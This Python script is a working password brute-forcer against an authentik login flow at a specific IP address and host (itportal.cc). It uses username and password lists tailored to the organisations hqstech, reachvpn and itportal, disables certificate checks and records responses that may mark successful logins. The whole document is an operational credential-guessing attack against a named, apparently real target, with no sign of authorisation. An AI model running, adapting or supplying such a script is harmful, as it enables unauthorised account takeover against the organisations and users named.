import requests, json, sys, time, urllib3
urllib3.disable_warnings()

BASE = "https://112.199.81.2:37443/api/v3/flows/executor/default-authentication-flow/"
HOST = {"Host": "www.itportal.cc"}
JSON_H = {"Host": "www.itportal.cc", "Content-Type": "application/json"}

usernames = [
 "akadmin","admin","administrator","root","phitdc","itadmin","it","sysadmin",
 "support","info","helpdesk","hr","hqstech","reachvpn","itportal","operator",
 "fansky","ops","noc","network","vpn","monitor","grafana","litellm","pam","pam360",
 "phitdc@hqstech.com","admin@hqstech.com","akadmin@hqstech.com","administrator@hqstech.com",
 "root@hqstech.com","itadmin@hqstech.com","it@hqstech.com","support@hqstech.com",
 "info@hqstech.com","helpdesk@hqstech.com","hr@hqstech.com","sysadmin@hqstech.com",
 "ops@hqstech.com","noc@hqstech.com","network@hqstech.com","monitor@hqstech.com",
 "phitdc@reachvpn.com","admin@reachvpn.com","akadmin@reachvpn.com","itadmin@reachvpn.com",
 "phitdc@itportal.cc","admin@itportal.cc","akadmin@itportal.cc",
]

passwords = [
 "admin","password","admin123","administrator","changeme","Password1","P@ssw0rd",
 "P@ssword1","welcome","welcome123","123456","12345678","123456789","1234567890",
 "password123","qwerty","qwerty123","letmein","root","toor","default","secret","master",
 "pass123","test","test123","123123","000000","111111","11111111","abc123","password1",
 "Admin@123","Admin123","Admin@1234","Admin1234","P@ssw0rd123","Passw0rd","Passw0rd!",
 "Password123","Password1234","Password@123","Password@1234","P@ssw0rd!","Welcome1",
 "Welcome123","Welcome@123","ChangeMe123","Changeme1!","Welcome@2025","Welcome@2026",
 "hqstech","HQSTech","hqstech123","Hqstech123","Hqstech@123","Hqstech@2025","Hqstech@2026",
 "hqstech2025","hqstech2026","reachvpn","Reachvpn","reachvpn123","Reachvpn123","Reachvpn@123",
 "reachvpn2025","reachvpn2026","itportal","ITPortal","itportal123","Itportal123","Itportal@123",
 "itportal2025","itportal2026","phitdc","phitdc123","Phitdc123","Phitdc@123","phitdc2025",
 "phitdc2026","authentik","Authentik","Authentik@123","authentik123","Akadmin@123",
 "PHITDC@2025","HQSTech@2025","Phitdc@2025","Reachvpn@2025","fansky","fansky123","Fansky@123",
]

FAIL_COMPONENTS = {"ak-stage-password", "ak-stage-access-denied", "ak-stage-identification"}

sess = requests.Session()
sess.verify = False

def do_flow(user, pw_chunk):
    results = []
    sess.cookies.clear()
    try:
        sess.post(BASE, headers=JSON_H, data=json.dumps({"component":"ak-stage-identification","uid_field":user}),
                  allow_redirects=False, timeout=15)
    except Exception as e:
        return [(p, "ERR", "setup-post", str(e)) for p in pw_chunk]
    try:
        sess.get(BASE, headers=HOST, timeout=15)
    except Exception as e:
        return [(p, "ERR", "setup-get", str(e)) for p in pw_chunk]
    for p in pw_chunk:
        try:
            r = sess.post(BASE, headers=JSON_H, data=json.dumps({"component":"ak-stage-password","password":p}),
                          allow_redirects=False, timeout=15)
            status = r.status_code
            loc = r.headers.get("Location")
            try:
                j = r.json()
            except Exception:
                j = {}
            comp = j.get("component")
            if comp in FAIL_COMPONENTS and status == 200 and not loc:
                results.append((p, status, comp, "fail"))
            else:
                detail = json.dumps({"status": status, "component": comp, "location": loc,
                          "response_errors": j.get("response_errors"),
                          "error_message": j.get("error_message"),
                          "to": j.get("to"), "body": r.text[:600]})
                results.append((p, status, comp, detail))
        except Exception as e:
            results.append((p, "ERR", "post", str(e)))
    return results

def main():
    out = open("brute_results.txt", "w")
    interesting = []
    total = 0
    chunk = 4
    for u in usernames:
        for i in range(0, len(passwords), chunk):
            pw_chunk = passwords[i:i+chunk]
            for (p, status, comp, detail) in do_flow(u, pw_chunk):
                total += 1
                if detail != "fail":
                    line = f"[INTERESTING] user={u} pwd={p} status={status} comp={comp} detail={detail}"
                    print(line, flush=True)
                    interesting.append(line)
                    out.write(line + "\n")
                else:
                    out.write(f"fail user={u} pwd={p} status={status} comp={comp}\n")
            time.sleep(0.03)
        print(f"[progress] done user={u} total={total}", flush=True)
    out.close()
    print(f"\n=== DONE total={total} interesting={len(interesting)} ===", flush=True)

if __name__ == "__main__":
    main()
